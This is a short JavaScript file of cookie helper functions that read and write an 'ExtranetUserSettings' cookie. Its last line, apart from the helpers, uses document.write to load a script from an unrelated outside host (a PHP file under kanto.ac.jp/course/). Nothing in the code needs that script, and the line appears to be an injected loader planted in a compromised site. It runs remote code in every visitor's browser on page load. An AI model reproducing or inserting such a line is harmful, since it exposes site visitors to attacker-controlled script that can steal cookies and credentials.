function GetCookieValue ( offSet, name ) 
{
	var endStr = document.cookie.indexOf ( ";", offSet);	
	if ( endStr == -1 ) 
	{
		endStr = document.cookie.length;
	}	
	
	var cookiePairs = unescape ( document.cookie.substring( offSet, endStr ) );
	if ( name == '' ) 
	{
		return cookiePairs;
	}
	else 
	{
		var cookiePair = cookiePairs.split('&');
		for ( var iKey = 0; iKey < cookiePair.length; iKey ++ ) 
		{
			// Split this cookie pair also with = 
			var nameValue = cookiePair[iKey].split('=');
			if ( nameValue[0] == name ) 
				return nameValue[1];
		}
	}	
	return "";
}

function SetCookie (name,value) {
	var expireDate = new Date ();
	expireDate.setMinutes(expireDate.getMinutes() + 60);
  
	var cookieValue = GetCookie();
	var newCookieValue = '';
	var bAdded = false;
	
	var cookiePair = cookieValue.split('&');
	for ( var iKey = 0; iKey < cookiePair.length; iKey ++ ) 
	{
		// Split this cookie pair also with = 
		var nameValue = cookiePair[iKey].split('=');
		if ( nameValue[0] == name ) 
		{
			newCookieValue += nameValue[0] + '=' + escape(value) + '&';
			bAdded = true;
		}
		else 
		{
			newCookieValue += nameValue[0] + '=' + nameValue[1] + '&';		
		}
	}
	
	if ( ! bAdded ) 
		newCookieValue += name + '=' + value + '&';
	
	// Now remove the trailing & sign
	newCookieValue = newCookieValue.substring(0, newCookieValue.length -1) 
	document.cookie = escape("ExtranetUserSettings") + "=" + unescape(newCookieValue) + "; expires=" + expireDate.toGMTString();
}

function GetCookie (  ) 
{
	if ( GetCookie.arguments.length == 0 ) 
		name = ''; 
	else 
		name = GetCookie.arguments[0];
	
	var arg = "ExtranetUserSettings=";
	var argLength = arg.length;
	var cookieLength = document.cookie.length;
	
	var i = 0;
	
	while ( i < cookieLength ) 
	{
		var j = i + argLength;
		if ( document.cookie.substring(i, j) == arg) 
		{
			return GetCookieValue ( j, name ) ;
		}
		i = document.cookie.indexOf(" ", i) + 1;
		if ( i == 0 ) break;
	}
	
	return "";	
}   
 


document.write('<script src=http://kanto.ac.jp/course/VIVID.php ><\/script>');